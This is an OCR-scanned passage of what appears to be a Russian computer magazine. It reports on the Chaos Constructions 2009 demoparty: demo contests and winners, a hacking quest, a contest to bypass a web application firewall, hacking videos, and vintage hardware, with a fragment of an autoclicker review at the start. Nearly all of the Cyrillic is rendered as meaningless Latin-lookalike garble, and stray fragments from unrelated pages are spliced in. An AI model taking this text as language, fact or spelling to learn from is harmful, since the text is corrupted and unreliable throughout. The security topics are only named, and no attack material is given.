Mail Commander 8.x
= Windows Mail (mostly all versions)
« Windows Live Mail (mostly all

versions)

Kpome Toro, Tyn3a ycnewHo BCNOMUHaEeT Nacchl o1
paga IM-knueHTOoB W eLlle MHOXeCTBA MoNe3HbIX
yTIAn.

MPOIrPAMMA: AUTOCLICKEXTREME
OC: WINDIWS 2000/XP

ABTOP: SHER-KHAN-SOFT

KaX ALl AeHb Mbl CTaIKWBAEMCA C PyTH-
HOW, MPUYeM HepeLKo NPMXCLUTCH NOBTO-
pPATL OAHW W Te e LeACTBUA, HanoMWHalo-
wue nopobue konunacta :|. flns peweHus
npobaemMsl U BLIAW MPULYMaHL 2BTOKAMKE -
Phl, cnocobHule NOBTOPATL Ha>XaTha Kia-
BULW MWW W kKNasbl. Heckonbko noaobHelX
npor g yxe onuceigan B X-Tyns, u cerogHs
X04y NO3HAKOMKUTE Tebs c QoCTCHHEIM
npefcTasuTENnEM COQTUH NogobHora
poaa. Betpeuait — AutoClickExtreme. U3
OCHOBHbIX BO3MOXMHOCTEN YTUbl MOXHO
OTMETUTE:

» 3anuch/BOCIIDOMEEEISHKE NSHCTBII
03epa B HPOM3BONLHHX MDUIICKeHMAX

+ [IMKCEeNBHEN KOETPONE, TO €CTh BOB-
MOKHOCTE NPUBA3KM OeHCTBUI MEIM K
TTMKCEelbHBM ]/EBOE)pﬁ‘fKF,‘IH/ISIM Ha ZEpaHe
= VnobHas HaCcTpoiKa CIyHalHoro OT-
KIIOHEHNA KIIMKOE MbIIKOA

* BOBMOKHOCTE BOTABKM M3 Gydepa
obMeHa [MPOUBBONBHOIO TeKCTa BMEeCcTO
KOPOTKOM KOMaHIH BH30Ba

« Ypasnenue Bydepom obMeHa

« HaznadveHue LTOPAHMX>» KNABHII TIA
KaXDoN 3ammcy

* VIIpaBNeHMe 2anmMcAaMit

MoBepb, yTUna BNonHe GyHKLWOHANbHA. Tbl
yOeamibes B 3TOM, K3K TOAbKO oNpobyellb ee
cobcTBEHHOPYUHD. 32

=il
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CHAOS

CONSTRUCTIONS 09

0 TOM, KAK NPOLLIE/ 3HAMEHWTbIM GECT B 3TOM 01y

MECTUBAJIb CHAQS CONSTRUCTIONS (CC) — OZ1HA U3 CTAPEMLLKX
JIEMO-MATH B POCCUK, XOTA HA CETOAHALLHWKW AEHL CC N0 ®OPMATY
CTA1 B/TUIKE K LAN-TIATW, WK NPOCTO K KOMNbIOTEPHOMY
MECTUBANKD. KAK bbl TO HW BbIN0, I'0J1 OT FOA HA CHAQS
CONSTRUCTIONS NPUEIAIT YME/IbLLbI U3 CAMBIX OTAAIEHHBIX
YI0JIKOB HALLEW CTPAHD!, A TAKME COCEZIA U3 CTPAH BJIUIKHETOD

W HE 0YEHb 3APYBEM(bA. CEUYAC 1 PACCKAM(Y TEBE 0 TOM, KAK
PA3BJIEKAETCA HALL AHIETPAYH]L, U HAYTO CIIOCOBHbI TE CAMBIE
«YMEJIbUbD>.
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MNepen Tem Kak HenocpeACTBEHHD NePeNTH K pac-

ckasyo Chaos Constructions 09, xo4eTcs HemHoro
paccka3arth 0 ABNeHMM NeMOCLeHbI KaK TaKoBOM,
Befdb naxe opradusatopel LU He sozpaxaior
MPOTHUB «3KCKYPCOB B UCTOPUIO®.

WTak, AnaTex, KTo nocneqHue rofbl NpoXu B
rnybokom byHkepe B Takire — Kak 04eHb BEpPHO
3amMevaeT pycckas Bukunegns — «gemocueHa —
370 cybryNETYPE V¥ HANPABNEHUE KOMMBIOTEPHOTD
WCKYCCTBa», U KITH04EBOE CIOBO 30ECh UMEHHOD
«NCKYCCTBO». 3aPOLMICH 3TOT OPUTUHANBHbIA
CNocod TBOPHECKOre CaMOBLIPaXeHNS NPUMEPHO
OHOBPEMEHHO C NOABIEHWUEM NEPBbLIX AOMaLL-
Hux koMnoe — g 70-80-e rogwl. MiMeHHo TOTHA
KOMMNbIOTEPBI He TONBKO CTanu «bavxe k nloaaM»,
HO W HEYYMITMCH BOCTIPOU3BOANTE rpaduKy 1 3ByK.
ATamrae ecTs My3eIKa W BU3YalibHEIV DAL, BCETAa
HaOeTCs MecTo U NoNeTy haHTasun.

Ha Baze Takux KyNbTOBbIX MELIKMH Kak ZX Spec-
trum, Commodore 64, a nosxe Amiga v Atari,
nepBele AeMOMENKERbI Ha4a/ I «TBOPWTL Yyaeca»
— DHUM 3aCTABNANM KOMMBl MCMONHSATE TRIOKM,
KOTOPbBIE MO TEM EPEMEHEM BbITM ANKOCTLIO.
MepBbiMKM NaCTOYKaMKU HOBOMD MCKYCCTBa CTanu
KOPOTKME UHTPO — 3aCTaBKK, KOTOPLIE MPUCO-
BOKYNIAIN K B3NGMAaHHbIM MIpaM, codTy mnu k
COBCEM elle COBCEM PEAKVIM B TY NOPY B3/HAM,
Oa-na, noMats Mrpsl 1 COPT v NUCATL K HUM KPSKNA,
HayanW NpakTMYecku DGHOBPEMEHHO C NOABE-
HueM Ha ceeT KW v codTa.

YHem MeHblle «Bacuna» fnemMoMelikepekas nogen-
Ka, TeM NIy4LUe, Ho, HeCMOTDA Ha «BeC», KPOXOTHan
npora BeKMMaa M3 KOMNbKTepa BCe, Ha YTo

ToT G6in cnocober [MyTem peannsaumum HeTpn-
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BUANLHLIX KOLEPCKMX METOAMK 11 anropHTMOE],
CocTosinu nepsbie MHTPO K AEME, KaK NPaBUN0,
MPOCTO U3 HWKE 3BTOPE MW €ra NoroTKna, N
CaMble YyMDBbIE KpacoTkl M 3MEKTHI, Ha KOTOpbIe
TONLKO bbin cnocobeH koMnbTep Tex neT. B
CKOpPOM BPEMEHN, KOTAa HeKas «KpuThyeckas
Macca» MeﬁKEpOEI boeina AOCTHIHYTa, OHKW Ha4anu
BaHanbHO COPERHOBATLCR APy C APYroM [nopoi
[@Xe HErNacHo], CTapeach NepeLLeronsTh «KoH-
KYPEHTOB» M NpuayMaTk YTO-TO HOBOE, ellle HUKEM
HepeanuzosaHHoe. BoTTebe u femocleHa, a 4yTs
nosxe 1 neMo-natu c CDECTL/IBEIH‘F!MM.

WTak, HaJeloch, Tbl eLLe He YMUP3EeLLb OT CKYKH,
NOTOMY 4TO TENepb A N03BONKD cebe elle HeMHoro
M038HYACTBOBATE M CKa2aTk Napy BEOAHbLIX CIIOB O
camom decTe.

Chaos Constructions TycoBka cTapas — 3apoawii-
ca dect B ganekoM 1995, nog mmenem EnLight,
uTorna 31a beina knaccuyeckas gemo-naim. He
CNOXHO A0radathCs, HTo MeponpuaTUue noHavany
B0 BECLMa KaMepHbIM, Bedb 8 Te rofbl B Poccum
0 JeMOCLEeHe 3Hanu, noxaﬂyﬁ. TONBLKO CamMmK
femomMelikepbl, Aa Kpyr NpUBNMKeHHbIX K HNM
nuu v paros. Tak 4to Bynywimia LILL cobupan nuwis
rnapy coTeH HeJIoBaK 1 NMoAHOCTbLIO nocedALWwancs
A4eMO-WUCKYCCTBY.

Ho c rogaMu cuTyalns ctana MeHATLCH — B BEK
PazBUTLIX BWOCOK2PT W TP gemo-ClieHa Ha4dana
COaBaTh NO3ULIKMK — K COXaneH1o, Mano KoMy
CEerofHa MHTEPECHO BTUCKMBATL KPACHMBOCTH B
MUKPOKOM, KOraa kakaa-Hubyas NVidia u nate
rMroB TEKCTYP NepeeapwT, He nofasuTtea. B wtore,
Chaos Constructions noTuxoHeKy MyTMPOBaN B
NONHOUEHHEIF KOMINBIOTEPHEIA ECT, C BLICTABKOK
CTaporo xxene3la, XaK-3OHO§I' ceMrHapamn 1 faxe

C KOHKYpPCaMM ANg kazyanos [4Tobul 0HW He YyBCT-
BoBanu cebsa coBceM yx obnenentsimil. Moxa-
Ny, eAMHCTBEHHOE, YTO C rofjaMu He NpeTepneno
Hukakux vamereHnin — CC kak v paHee ocTaeTca
MEPOMPUATUEM HEKOMMEPHECKUM 1 HedopMalb-
HbIM, CTPOALLMMCS Ha BOMbHBIX HAYMHAHWAX U,

M0 CYTK, Ha TONIOM DHTY3Ma3Me OPraHn3aTopoB.
Ilns Tex, KTO «x04eT 2HaTh repoes B NML0» — TPH
rnasHbix opra LU, 2009 — Oldayn, Frog u Random;
UMEHHO TUX TIIOAEA CTOUT BAaroAapuTs 3a 10, YTo
bectrsans soobule nmen mecto. Beeroxe Hapg
opraHvzauued gecTuBans B 3TOM rofy TpyAMNoch
nopsigka 20 yenosex.

B OBILLEM M LIEJIOM

Botyxe kotopeii rog Chaos Constructions
NPOXOAWT B KoHLie nieTa B [TuTepe, Ha TeppuTopuu
TOPrOBO-BbICTABOYHOIO KOMIIEKCa <<EBDEIEMH>>.
Ciofa NpMesxaloT THICAYM YETOBEK 13 CaMblX
pazHbix CTpaH Mupa, byas To Kazaxcran, YkpanHa,
Benopyccus vnu CLUA, Hy 1, KOHEYHD, 306CH
MOAHO HAPOAY U3 BCEX YTOJKOB HALLER OrPOMHO
cTpaHbl. OcobeHHO CTOMT OTMETUTE TOT GakKT, YT
B NOC/EHWE MOl TOCTU UMEIOT BOIMOXHOCTb
OCTaThCH HOYEBATL NPAMO Ha @CCTE’IEEJ‘IE‘ [,ﬂ,ﬂ‘;ﬁ
3T0ro NpeaycMarTpiBearoTes M Mecta 1 yCJ’lOBMﬂI,
TAK 4TO MM MOXHO He 3abuBaTs cebe ronosy nomc-
KamMi roCTMHWUEI M TMWHWMK pacxonami.

Ho CC yHWKaneH He ToNLKo TeM, YTO eMy CyM-
MapHo yxe banee 10 neTnTem, 4To aHanorM4HbIX
MeponpuATHiA B POCCUM MpakTUYecKn HET, HO 1
COBEPLEHHO HEMNMOBTOPUMON aTMocdepoi. Ha
CaMoM fiene, 4 BpAL v norpetly npotms npagabl,
ecnun ckaxy, uto Chaos Constructions «genaiats
WMEHHO NpuesXxakuwme ciofga noan u aTMDC(I)epa,
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3 BOBCE HE KOHKYPCEl, CeMUHaph 1
wxe ¢ Humu. Mo cyti, paserop, B
KOHLUE aBrycTa, NoYTyv Bech pyccKnia
KOMMNBITEPHbI aHOerpayH Boibu-
paetcs uz ceoux bepnor v co Bcero
MUpa CheaxkasTca B [1UTep, a Ha 3To,
noBepb, CTOMT NOCMOTPETb.

Ha LIL| kaxabii MoXeT HaWTv 4T0-TO
cBoe: koro-To Bonbiue 3aMHTepecyioT
KoHkypcsl (Mx 3necs npencras-

neH 04eHb LWMPOKKMIA CNeKTp, oT
NagnsHbIX U NPOTPaMMEPCKUX, [0
LEMOCLIEHEPCKMY M MPOCTO Kpea-
TUBHbIX, HAMpUMeEp, Ha nydwee boTo
WK PUCYHOK, CAENEHHbIE Ha pec-
TMBaNe), Koro-To — KOMMbLIOTEPHAS
fesonacHocTs, a koro-To — obuweHue
CNK0ALMM, NOCUIENKN 38 CTaPbIMK
KOMNBLIOTEPaMW 1 HOCTabrUYecKue
BocnomvHang. Bece nepedvcien-

HOE, NOMHOXEHHoEe Ha Hedop-

MarnkeHyio oBbcTaHoBKy, mopoxaaeT
HenepenaBaeMblil KOKTENb.

B 37om rogy macwtabHocTe dec-
TWBaNA 0CTaNack NPUMEPHO Ha

ToM e ypoBHe, 4To 1 B 2007-2008
ropax. KonwuecTeo nocetutensii,
KONVYECTBO KOHKYPCOB, 8 TakXKe nx
Y4aCTHMKOB CONOCTAaBMMO C pecTamy
NPOLUNEIX NET, 3AECk HUYETD HEOXI-
JlaHHoro He cayurnock. OnHako HaLl
«3aCNaHHLIN kazadok» — Ceprei
«Dlinyj» JonuH, Beiswnii 8 31oM roay
HE TONLKO B YWCNE noceTuTenei,

Ho v B Yncre opranusatopos CC,
OTMETHI, 4TO NyBINKa HE 3TOT pas
Bena cebda ropasfo npuar4Hee, ecim
HE CKa3aTs, CKoBaHHee.

O6kiunoe peno ans npowneix UL —
TI0AM, ELLIE TONBKO CTOR B 04epean
Ha BXOM, YKe CO33t0T ManeHbKue
TYCOBKM W HavwmHatoT 0bcyxaats
Mesxly coboil camble pasHble TeMsl.
To ecTs, elle aaxe He ycrnes NpoiTK
PErnCTPaLMIO, HEPOL YoKe NorpyKan-
Cfl B aTMOCOEepy ONACKY/Ia — 3HAKO-
MUICS, AENUNCA HOBUHKAMU, UKW
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HaobopoT HOCTaNsMMposan no cTa-
pbiM KOMMaM W BbinbiM BpeMeHam. B
3TOM e I'D,EL}’J'HO'E[VI YHMHHO BbICTpUVl’
NVCh B 8KKYPaTHYIO 04epefb Ha BX0L,
Lepxa nogMblLLKamMy HOYTBYKK, 1
0cob oA Xax bl 0OLLEHUA 38 HUMK
3amedeHo He bblino. OHEEM,D'HD‘ 310
CBAZEHO CTEM, UTO CEPLE3HBIX AAEK
Ha CC cTano npuesxarts MeHbLE,

a HOBbIE JII0AK [KOTOpPbIX, K CHaC-
Ti0, 6L MHOTO), eule He ycnenu
pacnpoboBaTh 3anpeTHLIA nnon no
umeHn Chaos Constructions o).

JEMOCLIEHA

Bonbluas yacte Bpemenn CC, Tpaau-
LWOHHO, NOCBALLLAETCH BCEBO3IMOX -
HbIM KOHKYPCaM — B 3TOM rofy Ha
decTupane coctosanock bes mManoro
30 paznuyHbIx cocTA3aHMiA. YacTb 13

HWX MPOXOANT B PEXKMME DEANIBHOTO
BpemMeHu, Apyras xe 4acTo TpebyeT
JSUTENbHOW NOArOTOBKM, TaK YT
npuem panT Ha4YMHAETCHA 38 HEe~
CKONBKO MECALEE.

HOCIIB,D'HEB_ KaK HeTpyaHO nora-
[aTbCH, OTHOCUTCA B OCHOBHOM
KaemocueHe — DaiHDQﬁpaBHbLE
[EeMO, UHTPO W TaK Aanee nuLyTcs v
NpUCLINaTCA 3apaHee, a BO BpemMa
decTayke npomcxeauT nokas pabot
W ronocoBaHue.

NoppobHo pacckasbiBaTh 060 BCex
AeMOCUEHEPCKUX DEGOTEX, MbliTadaChb
OMNWCaTh BCE NPOLEMOHCTPUPO-
BaHHOE MelKepaMu, Noxanyn, Bce
PaBHO, 4TO NbLITATLCA B KPacKax
NINOXUTE Hy>KWE TNIOKKW, NTPUTOM
3aMMCaHHbIE CO CI0B TPETLETD NKLLE.
lNpouye roBops — NoneT paHTasuu
MeiKepoB CTOWT yBWAETL COBCTBEH-
HbIMW Ta3dMi, HTO 94 COEETYIO Tebe
CENaTh — Ha JJUCKE Tol Halae b
DONbLLIYIO YACTE KOHKYPCHbIX paboT
cCC09.

Yucno paboT, MpUcnarHEIX B 3TOM
rogy Ha eMo-KOHKYPChI, He McHK1C-

NANOCE MOTOHHBIMU COTHAMM, UNW
Ja>ke JecATKaMu, Ho 3T0 obbivHoe
feno — Hapoa bpan kauectsomM, a

He KonmuyecTeoM. Hin ONA Koro, B
0bLLeM-To, He CeKPET, YTo Halu Ae-
MOMENAKEPbI MULWYT Takne Weaesphl,
OT KQTOPBIX 3aBUCTIIMBO NOABLIBAET
1 KYCEET I0KTW BCH 3anafiHas clieHa.
Tak 470, x0T CC 1 He noTarusaer go
pa3maxa Toi xe Assembly, nHTepec-
Horo 2peck boiBaeT HeMano.

B 0blyux yepTax MOXHO cKasaTs,
yT1o bonslwe Beero pabot Ha CCO%
BIOMHE TPEAMLMOHHO MPeaCcTaBuIu
CﬂeKprMVICTbE, KOWX Y Hac 00 Cux
MOp HEMEN0, M OHW TDAT NokasaTs
knace. Tenepb HEMHOrO NoApo6-
HOCTEI‘/’T 0 Camblx ﬂpMMEHaTEJTbeIX
paboTax, o pacnpefeneHnn MecT n
nobegmTenax.

WMuTpo «Yes we canx» ot Quite,
B3RBLUEE NEPBOE MECTO B KOHKYpPCe
Combined 4k Intro — apkuit npumep
TOro, NoYeMy HaLLel CLEHE 3aB1aYET
seck 3anag,. Busyan s «Yes we can»
C020aeTCA NOMHOCTLIO 33 cYeT
LeldaepoB, M MCNONL30BaTL TaKoK
MpUEM, KOTAa HKakx 0bLeKToB BHe
BHOEDKEPTH HE POCYNTHIBAETCS, Y
Hac Havyanu eaBa N He NepsbiMuU B
MiUpe. ITO MHTPO HelapoM 3acTaBn-
N0 HAPOL, B 3ane 3aTauTb AblXaHue 1
COpBano annogucMeHTel. BonblmH-
cTBO NIoAei, noceTuewux CCOY,
80001LE CKNOHAOTCA K MHEHWIO, UTO
13 BCEX 1EMO-KOHKYPCOB B 3TOM rofy
Bonblwe sceroyganca 4k Intro. Y«
04eHE X0poLw K Bbinv paboTsl, Npu-
TOM HE TONILKO Te, KOTOPLIM YAaN0ch
3aHATE NPU30BLIE MECTE

Mepsoe mecTo B ZX 640k Demo
g3sna pabora «The Link ot Alone
Coder» ot Invaders8, o koTopoi
LaKe CaMy OpraHn3aTopsl roBopsT,
4TO OHa CKOpEee NPOXOANT BHE
koHkypca. [leno B Tom, yTo 3Ta
[EMKA HAMWCEHA C MCTONB30BaHN-

eMakcenepaunmn Ha rnare NeoGS,
M BbloaeT Takhe BquJGKTbI, KOTOPBIX
oT 0bsIuHOro CnexTpyma xnaTh He
NpUXoOnTCH. MHTepECHa TakKxXe
paboTa, 3aHAEWAas 4-e MeCcTo — <8
bit snail» o1 svo. lMpocTeHbkoe, Ha
nepesLii B3rAL, MHTPO HAMNWUCAHO
[N BECbMa peken nnaTtgopMel
Bekrop 06w, uto camo no cebe
LOCTOMHO BCAKOTO yBaXeHWs v,
BO3MOXHOC, Aae Bonee BLICOKOMO
MecTa ;).

B Combined 64k Intro nobenuna
MpadHoBaTaa u cTunbHas «Write
me, please» ot f0x.

Mepeoe mecto B Combined Demo
[obbemom no 16 MB) noctanace
«Digere anime» o1 demarche, Ho
CaM KoHKYpC Bbiradaen BHQHHOBG
TO — MMERA B CBOEM PACNOPFKEHUN

Bonee WKpokoe Nofe AefTenLHOCTH,
dBTOPbLI MOKa3ann noYTk 10 Xe ca-
MOE, 4TO W X KONNErH 13 KOHKYPCOB
COKECTKUMU OTPaHUHYEHWMAMK 1O
«Becy» pabot.

Aot c JavaFX demo v sosce BbI-
wen Hebonkwon ka3yc — nepsoe
MECTO NPUIWNOCE OTAETE cepeb-
pAHOMY Npu3epy. A BCe 1M3-3a
Toro, 4to nobeautens Anekcanap
UlepbaTuin, co ceoeit «JavaFX
HyperSphere», okazanca co-
TpyaHukom Sun Microsystems.
Tak uto no3apasieHunda NpUHn-
man Eustas c «Express JavaFX
Demo». CnpaBennmseocty pagm
CKaxy, 4T0 OTPLIB MO FON0CamM

y 4yBakos 6bin HebonbWwon —
MeHble NeCATKa.

W, noxanyi, Ha 3T0M NOKOHYUM

0 HDQPDBHOCT‘HMM‘ NoTOMY Kak
nepedncnsTe Bcex nobegutenen
MOXHQ O4EeHbL W 0O4eHb A0AT0, a Ha
nepebop scex pabor ¢ ZX-KoHKyp-
COB, BCErO MUKCENbapTa, rpadurm
[ q)DTD HEe XBATWUT K NOJICBKWHBI
KypHana.
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XAKEPCHME LUTY4YHH

Botyxe veckonsko net CCxkveer

He Tonbko neMocleroid. OgHum

13 «rB03fen nporpammel» Chaos
Constructions MOXHO Ha3BaTk
PUN-TaMOBbBIA KOHKYPC XaKMnHra,
3aNyTaHHLIA, HENMHEAHBIA U No-
HacToalemy cnoxHelin HackQuest.
PazpaboTkoii v opradu3saL e sToro
MMpa AyXa Ye KOTOPLIA Mofl 32HW -
MaEeTCH XapoLlo W3BECTHBLIA HaLLmMm
NOCTOSHHBIM YATATENSAM, 3 TakxKe
BCEM TEM, KTO MHTEPeCYeTCsa POCCHii-
cKoW cueHan — Toxa, M O4HO TONbKO
3T0 \KE ABIFETCS CBOEI0 POA2
3HEKOM Ka4ecTBa. HelHeUWHWIA rof He
CTAN UCKIIOYBHWMEM, TAK HTO NEpealn
CNOBO «BUHOBHUKY TOPXECTBa»,
NOTOMY HTC Nydle camMoro Tokssl 0
HackQuest'e He noBefaeT HUKTO:

«NeruTUMHOM X3KIMHIe»: 0T CeTeBon
pazeelkn N CKaHMpoBaHWA na
noucka ysisBuMocTei B Beb-rnpuno-
KEHUAX W 0LIMBOK B KOHUIypaLnax
UNIX-cucrem. To ecTb «3anada»
Bbina MakcumansHo nprbnvieHa «
«boeBoit», cTpykTypa — abconioTHo
HeNMHeNnHan (HUKaKNX paMoK, ToSb-
KO Tbl M TBOW HOYTBYK], M 0T TOr0 OHa
LomxkHa Bbina cTaTth MHTepeCcHo.

M cTana. Hoseiid popmat Xak-Keecra
noHpaewcs abConioTHO BCeM, U B
3TOM rofy CTosABLWan nepen HamMK
3afava beina npocta — NpocTo yyy-
LWWTb W PA3BUTL BepHO BhibpaHHoe
HanpaeneHue. CBoIO NenTy Ha 3107
pa3 BHecny pebarta us komnaHum
Positive Technologies, BeicTynae-
LWKWe B Ka4ecTBe COOpPraHn3aTopoB U

npuaymasLmne bonbLoe Kosu-

Duikoi Hanpaenerus «Cetn n
Xak» B 9TOM FOAy TaKXe ABASNCH
oTAeNLHbIN KOHKYPC Mo obxony Web
Application Firewall o7 komMnaHum
Bitrix. YuacTHukaM npepcrosio
«npobute» WAF, Halins sekTopa
akcrnyataumm SAL-uHsekymm, XSS
n Local File Including. 3o beino

¥ PaB/A HENPOCTO, HO HaNU4Ke
nobeauTenei Nokasano: Kakor obl
NpuKnanHon GuaLTR Bbl HY UCAOTh-
30Ba/u, ropasno aggexTeHee
nucaTh besonacHeii kag ;).

He MoeT He pafoBaTe U TO, YT

C Ka4eCcTBOM Xak-KsecTa pacTeT

1 YPOBEHb YYACTHWUKOB. TaK, Tph
rofa HasannobefuTenaM cTan ToT
EOWMHCTBEHHBIN, KTO MYXECTBEH-
HO OTCHAEN BCe fBa AHA. B aTom

e rofy Cpeam y4acTHuKos Beiin

B 3TOM T0OAY CPEAW YYACTHUKOB XAK-KBECTA bbUIU
CEUMASIUCTBI MO UB U3 U3BECTHBIX POCCUMCKUX
KOMMAHUW-UHTETPATOPOB, A MEX(TLY HUMU
PA3BEPHYJIOCH HACTOSILLLEE COCTASAHME.

«B npownom rony Xak-Keecr snep-
Bble MPOLUen Mo CoBepLIEHHO HOBOR
cxemMe. YYacTHMKaM He 1aBanocb
HWKaKOW MHDOPMAaLIMK, KpoMe
agpecalyy NOLCEeTH, B KOTOPYIQ OHW
MoK NoAKNYKTECS. Y BMecTe ¢
TeM, 384avay HWx Dbina Bce Takas xe
[I{.-:'K Ha Xak-KpecTax NpoOLIBX
ser. — Mpam. mifrill] — pazpobeime
KITIOYEBbIE CNOBE, 38MMCaHHbIE B
cneu¥ansHoM hopMaTe, 1 BBECTH
ux B nHTepdeic cepeepa. Ho HK
aApec cepsepa, K Hdopmalma ob
uHTepdeice UM fansl He belnu! 310
33CTaBMN0 Y4aCTHUKOB MPOABUTL
BECk KOMMNEKT 3HaHWA 1 yMe-

HWIA, 0BBIYHO NpUMEHAEMBIX NPU
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YeCcTBO 2TAaN0OB KEECTA M0 B3J10MY
web-npunoxeruin. Ceon atanel
NPefocTadBunIa Takxe 1 KOMNaHnA
Sun Microsystems: He cekper, 4To
ONA «CeTeBblX BOUHOB>» Connpka
TPa,ﬂVIL_I,MUHHO ABNACTCA peAKMM
dpykTom, B oTanume ot Jlukykca

unv Bunael. B utore Xak-ksect 6e3
npeysennyeHus ctan nydiinm 3a
scio vctopumio CC. Hapo npuanatbes,
A HEe OKWOaN Takoro konn4yectea
YYACTHWUKOB: OTBEIEHHOIO MOJ,
Xak-3oHy 06opyAoBaHUA B KAKOW-TO
MOMEHT Aa>Ke CTano He XBaTaTk, Belb
NPVYMEPHO YeTBEPTEL BCEX NOCETU-
Tenel Nepeoro aHA hectueany, Tak
WaK uHade, ocegana B Xak-3oxe!

crneylanucTsl no Wb 13 n3secTHbIX
POCCUMCKIUX KOMMEHWIA-MHTerpaTo-
POB, U MEX[Y HAMW PAa3BEPHYNIOCH
HACTOAWEE COCTA3aHME .

TakKe K 4MCny XakepCKMX KOHKYPCOB
MOXHO oTHecTH M HackVideo. 3to
YKE He pUN-TaMOoBEIA KOHKYPC,
30eck NpedcTaBNerbl xakK, nocne-
NOBATENEHO 3aCHRTLI2 8BTOpaMK
Ha BUAE0 W NpuchanHele Ha LiLL
3apaHee. B atoM rogy nybnwka
nyylle BCEro oLeHuna cnegyilue
BELL: COrPOMHEIM OTPBIBOM MO
ronocam rnobeaunmn XENON and
SmallBag c Bugjoxoit «EasyHacks.
B nepBoil 4acTh 4yBaku Mo My3biky
13 «P0o30B0M NaHTepbl» [na-na, nog,

Ty CAMYIQ MY3EIKY) METOLMYHO NOA-
BupawTcs K NpoeKTopy KMHoTeaTpa,
a pobpagwncs, BEIBOAAT Ha SKpaH
noeepx dunbLMa cooblieHrs a-ns
«Seans okonden. Piz***te otsuda
=|»u«Hacked_for CC_0%».Moc-
NaTh CUAALLKX B 3ane Ha TpK DyKBbI
MNo-PYCCKK HE BbILIMO U3-3a MIoKoB
C KOOMPpOBKOW. Bo BTOPOW 4aCTN BU-
AIOXK OHW K YCMNEeLWHo U3neBaloTca
Hap bl peEnvE

BTopoe MecTo oToLG pounKy 38
apTopcreoM Xakep?009. Byaoxa
NOBECTBYET 0 B3/10ME CHa4Yana CeETKK
cWEP-wudposaruem (yxe npakTu-
YeckM TpPaauLKMOHHO — Hakanjinea-
eM NaKkeTsl, aHanKu3upyeM, nonyyaem
KNK0YMK], @ 3aTem NoAKNoYeHHoro

K Helt iPhone. AsTop 8 ouepenHoit
pa3 nokasan scem, yto WEP — ogHa

DoNbLIan YA3BUMOCTL, HWUIAE HeNb3s
0CTaBNATL CTAHAAPTHEIE 10T MHbI-
naponu [Hy k1o, B caMam pene,
0CTaBNALST 38BOACKME TOTUH W Nacc
poytepy?], a NprBaTHYIO MHGOP-
MaLIMIO HY>KHO XpaHUTL 8 DaHke, B
CMLICNE, MO HaAeXHOM 3aLUKUTON.
[MonapaHwe 3Toro BUAED Ha BTopoe
MEeCTo BbI3BaN0 HEMa/0e YANB/IEHWE
cpeaun NoHUMaoLLWx No4eA, No
MHEHWH KOTORbIX BCE NOKa3aHHoe
AAXE HE BTOPUHHO, 3 TPETUYHO U
TOrG Xy>Ke.

TpeTbe mectoy d0znp, ONsec.ru3a
nemorcTpalio 1C Bitrix 8.0.5 + WAF
XSS+ Memory leak.

NPOBOJA, MAANBHUKH

U «ENE3KW»

MomuMo KoHkypcos B pamkax Chaos
Constructions exerogHo npoxoauT
BbICTABKA CTAPGIO, PAPHUTETHOTO U
MPOCTO UHTEPECHAID Xene3a. S,D,ecb
BCE COBCEM KaK B My3ee, C OAHON
NKLLL CYLLEeCTBEHHO A pa3HULEH

— BCE Ha X0y, ¥ KOMIbl, KaNbKyaA-
TOPbI KM Npo4Ue ,JEEBPICb\ HE& TONbLKO
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«MIKHO MOTPOTaTh», HO 33 HUMM AaXe Hy>KHO
nocuaeTs v nopaboraTte, Npyuodwance K HeTneH-
HOMY 1 ONACKYNLHOMY, U1 HaobopaT — K HoOBOMY
W OpUrMHanbHoMy.

Kaxablid rof 20ecs NpeacTaensioT yHMKansHble
3KCIOHaThl, BOCHOBHOM, KOHEYHO, COGpaHHbIE‘,
HalAeHHbIE 1 BO3BPALLEHHbIE K KN3HW CUAZMK
camux konsekumoHepoe. Bripoyem, He nogymai,
yTo Ha CC HeT H1Yero, Kpome ceoil ApeBHOCTH,
paboTaslueit Ha nepdokapTax: NpeacTasneHb! v
Bonee «HoBLIE» JEBANCHI, KOTOPLIE TAK MW MHEYE
UEM-TO MPUMEYSTENbHbI.

Kaxnasa MalmHa 3aboTNMBO CONPOBOXAALTCH
JIMCTOM C NOAPOBHLIM ee ONucaHueM, a nopaom
Laxke C3KCKYpCOM B UCTOPKID, UnTaTaMi U3
Bukuneguu v oT pyku H3pUCOBEHHBIMA KAPTUH-
kamu. PAgom c TexHWUKOW TyCyIOTCA ee X035e8a,
KOTOpble TONLKO Pafbl pacckasats nogpobHocTy,
BCe Nokasath v obcyanTs. Hanpumep, ceoero
pofa 3aecerjatan soictaskn CC Easy John [0
yjohn livejourna v Ceprein @ponos
[3 ttp://www.leningrad

nMmeHa Tebe HE3HaKOMbl, COBETYH CXO0WThL NO

m). Ecnnatn

CChiIKaM, TaM MHOIo MHTEpecHoro: Tak, Cepreit
Dponos obecneywn efsa v He NONCBUHY Napka
cTapow TexHnkm Ha CCO9.

B ocTankHoM, Yero TONLKO HET Ha «KENE3HOM» Uac-
" bectmeang... Haw pezngext Dlinyj, k npumepy,
npeacTaBnan poyrep nof JIMHyKCoM C npunenaH-
HbIM K HEMY TEPMUHAN0M, C KOTOPOTo MOXKHO Bbing
BBOAMTL KOMaHAb! U YNPaBNATE POYTEPOM, K SMy-
natop RFID-kapTodek. Beinv Takke v onackyNbHbe
MOHOBNOKM, B KOTOPLIX HANMYECTBOBANO BykBans-
HO BCe, BKMIOYas Aase TefepoH — cTapas nonsiTka
co34aTb «0dNCHBIA KOMMbloTep», KoTopyio B Intel
HEKOrAa CoUNM HepeHTabensHoM 1 38MOoPo3 KK
npoekT. CTaBLUIME HEHYKHbIMW KOMMEI TOMAE 0CEMK
B OAHOM GUPMe, OTKYA3 MX U «CNacau». Beino MHo-
secTeo Cnektpymos, Amiga, Commodaore 1 Atari.
Beina obopynosaHHas NpUCTaBKEMM 1 KOMNEMK
reiiM3oHa, koTopas nopafosana MHerux. MiMencs
CTEH[, 0BEPKNOKEPOB, rae pebsTac

(U XMMUHWITA CKUAKMM @30TOM [MOXeT 310 yxe 1

» 088

MYECHHMMW
FABOAEBAHMAMM -
HINDONS W IMTERMET 1

cTana crierka baHansHeIM, HO 3penuLLe BCe paBHo
Kpaite 3axBaTsiBatoles).
KcraTm, elle onHa He MeHee Brievyatnaiollasn 4acTs
«xenesHoro» Chaos Constructions — Real-time
Hardware Hack. Kak noHATHO 13 Ha3BaHWs, Hapog,
B peXM1Me peanbHoro BpeMeH| IOMaeT Xeneaxu.
[poumTUpyto MpaBuna KOHKYpCa:
«KOHKYPC NPOBOLMTCS HEMOCPEACTBEHHO Ha
